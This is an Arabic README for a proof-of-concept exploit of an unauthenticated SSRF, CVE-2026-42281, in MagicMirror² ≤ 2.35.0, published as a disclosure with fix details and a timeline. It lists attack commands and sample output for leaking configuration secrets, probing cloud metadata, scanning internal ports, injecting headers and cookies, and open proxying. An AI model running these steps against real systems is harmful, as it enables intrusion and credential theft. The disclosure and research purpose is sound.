
إثبات مفهوم لاستغلال CVE-2026-42281، وهو ثغرة SSRF غير مصادق عليها في MagicMirror² ≤ 2.35.0، تتيح استخراج الإعدادات، واستكشاف بيانات التعريف السحابية، وفحص الشبكة الداخلية.
/cors
اكتشفه وأبلغ عنه: Astaruf
التقرير الكامل: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
التنبيه الرسمي: MagicMirrorOrg/MagicMirror security advisories
يستضيف هذا المستودع برهان المفهوم (PoC) لاستغلال CVE-2026-42281، وهو SSRF غير مصادق عليه في MagicMirror² ≤ 2.35.0 يحوّل نقطة النهاية /cors إلى وكيل SSRF كامل الوظائف يصل إلى الحلقة المحلية (loopback) والشبكات الداخلية وخدمات البيانات الوصفية السحابية. مع تفعيل hideConfigSecrets: true، تقوم نفس نقطة النهاية أيضًا بتسريب قيم process.env.SECRET_* في طلب واحد.
لمراجعة الكود الكاملة، وتحليل الثغرة، وتفاصيل الإصلاح، والنزاع حول CVSS، والجدول الزمني، راجع التقرير الكامل على nstsec.com. يركز هذا README على كيفية استخدام برهان المفهوم (PoC).
# 1. تحقق من أن الهدف قابل للاستغلال
python3 poc.py -t http://target:8080 --check
# 2. تسريب إعدادات التطبيق (مع اكتشاف الأسرار تلقائيًا)
python3 poc.py -t http://target:8080 --config
# 3. فحص خدمات البيانات الوصفية السحابية على أكثر من 10 مزودين
python3 poc.py -t http://target:8080 --cloud
# 4. فحص المنافذ على الشبكة الداخلية عبر SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. إظهار إساءة استخدام الترويسات الواردة/الصادرة
python3 poc.py -t http://target:8080 --headers
# 6. استخدام الخادم كوكيل مفتوح عام
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| العلم | الوصف |
|---|---|
--check | التحقق من قابلية استغلال SSRF عبر جلب الحلقة المحلية لـ /version |
--config | SSRF لـ /config عبر الحلقة المحلية، تحليل JSON، والبحث عن مفاتيح API / رموز / كلمات مرور في إعدادات الوحدات |
--cloud | فحص خدمات البيانات الوصفية عبر AWS وGCP وAzure وOCI وDigitalOcean وAlibaba وHetzner وIBM وKubernetes وRancher وEquinix؛ متابعة تلقائية لتعداد أدوار AWS IAM |
--port-scan HOSTS | فحص مضيف واحد أو أكثر (-p 22,80 / -p 0-1024 / -p - لجميع منافذ 65535)، متعدد الخيوط |
--headers | الجزء أ: حقن ترويسات Authorization/X-* في الطلب الصادر عبر sendheaders. الجزء ب: إعادة توجيه Set-Cookie المتحكم بها من المهاجم من أصل خبيث إلى متصفح الضحية عبر expectedheaders |
--open-proxy URL | طلب SSRF عام GET إلى أي URL، وطباعة نص الاستجابة (مفيد لاستكشاف واجهات برمجة التطبيقات HTTP الداخلية) |
| الخيار | الافتراضي | الوصف |
|---|---|---|
-t / --target | مطلوب | عنوان URL للهدف، مثال: http://192.168.1.10:8080 |
--timeout | 2.0 | مهلة كل طلب بالثواني |
--threads | 30 | عدد الخيوط لـ --port-scan |
--verbose | معطل | طباعة استجابات JSON الكاملة (ونصوص البيانات الوصفية السحابية غير المنقحة) |
1. شعار برهان المفهوم ووضع --check الذي يؤكد SSRF:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — SSRF غير مصادق عليه عبر نقطة النهاية /cors
المؤلف: Astaruf | https://nstsec.com
CHECK، إمكانية الوصول إلى الهدف وتأكيد SSRF
[*] التحقق من إمكانية الوصول إلى الهدف ...
[+] الهدف قابل للوصول، MagicMirror 2.35.0
[*] تأكيد SSRF عبر الحلقة المحلية ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] تم تأكيد SSRF، قام الخادم بجلب مورد داخلي نيابة عنا
<< 2.35.0
2. --config يسرب إعدادات التطبيق ويكتشف الأسرار تلقائيًا في إعدادات الوحدات:
تسريب الإعدادات، الإعدادات الكاملة عبر حلقة SSRF المحلية
[+] تم استرداد الإعدادات، 1194 بايت
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] مفتوح لجميع عناوين IP
الأسرار المكتشفة:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers يؤكد حقن الترويسات الصادرة والواردة:
حقن الترويسات، إساءة استخدام الترويسات الصادرة والواردة
[*] الجزء أ: حقن ترويسات عشوائية في الطلبات الصادرة عبر sendheaders
[+] تم تأكيد الترويسة X-Injected-By: SSRF-PoC في الطلب الصادر
[+] تم تأكيد الترويسة Authorization: Bearer DEMO_TOKEN في الطلب الصادر
[*] الجزء ب: إعادة توجيه ترويسات الاستجابة إلى المتصفح عبر expectedheaders
[+] تم إعادة توجيه ترويسة الاستجابة Set-Cookie إلى المتصفح: session=hijacked;HttpOnly
[+] يستقبل المتصفح ملف تعريف الارتباط هذا كما لو كان مصدره من نطاق MagicMirror
4. --open-proxy يؤكد HTTP الصادر من الخادم:
وكيل مفتوح، جلب https://httpbin.org/ip عبر الخادم الضعيف
[+] HTTP 200، تم استلام 32 بايت من الخادم
{
"origin": "<عنوان IP العام للخادم، وليس عنوان المهاجم>"
}
--check (وكل وضع آخر) طلب SSRF إلى الحلقة المحلية http://127.0.0.1:<port>/version. عند الاختبار عبر Docker، تأكد من أن منفذ المضيف يطابق المنفذ داخل الحاوية (مثال: قم بتعيين 8080:8080، وليس 8081:8080)، وإلا فلن يتمكن هدف الحلقة المحلية من الحل من داخل الحاوية حتى لو كانت النسخة ضعيفة فعليًا.--cloud ضد نسخة غير سحابية (Raspberry Pi، خادم فعلي) لا ينتج أي نتائج — هذا متوقع ويقوم السكربت بالإبلاغ عنه صراحةً. المتجه موجود؛ يتطلب اختباره نشرًا سحابيًا حقيقيًا.تم إصداره في MagicMirror² v2.36.0 (صدر في 30 أبريل 2026). الإصلاح متعدد الطبقات عبر ستة طلبات سحب (PRs) (#4084, #4087, #4090, #4091, #4102, #4104). راجع التقرير الكامل لتفاصيل كل طلب سحب، ومقتطفات الكود، ومصفوفة التحقق من محاولات التحايل التي أعيد اختبارها ضد النسخة المصححة.
| التاريخ | الحدث |
|---|---|
| 2026-03-30 | اكتشاف الثغرة، فتح قضية عامة، إرسال بريد إلكتروني إلى المشرف |
| 2026-03-31 | المشرف أقر باستلام التقرير |
| 2026-04-01 | أضاف المشرفون ملف SECURITY.md وفعّلوا GitHub Security Advisories على المستودع |
| 2026-04-09 | فتح تنبيه GHSA رسمي |
| 2026-04-26 | تأكيد الإصلاح للإصدار القادم. تم تعيين CVE-2026-42281 بواسطة GitHub |
| 2026-04-26 | نزاع حول CVSS — تم رفع المتجه من Moderate إلى 9.2 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | إصدار MagicMirror² v2.36.0، نشر الإصلاح علنًا |
| 2026-05-04 | الكشف العام (التقرير + مستودع برهان المفهوم) |
هذه المادة مقدمة لأغراض اختبار الأمان المصرح به والتعليم فقط. استخدمها فقط ضد نسخ MagicMirror² التي تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.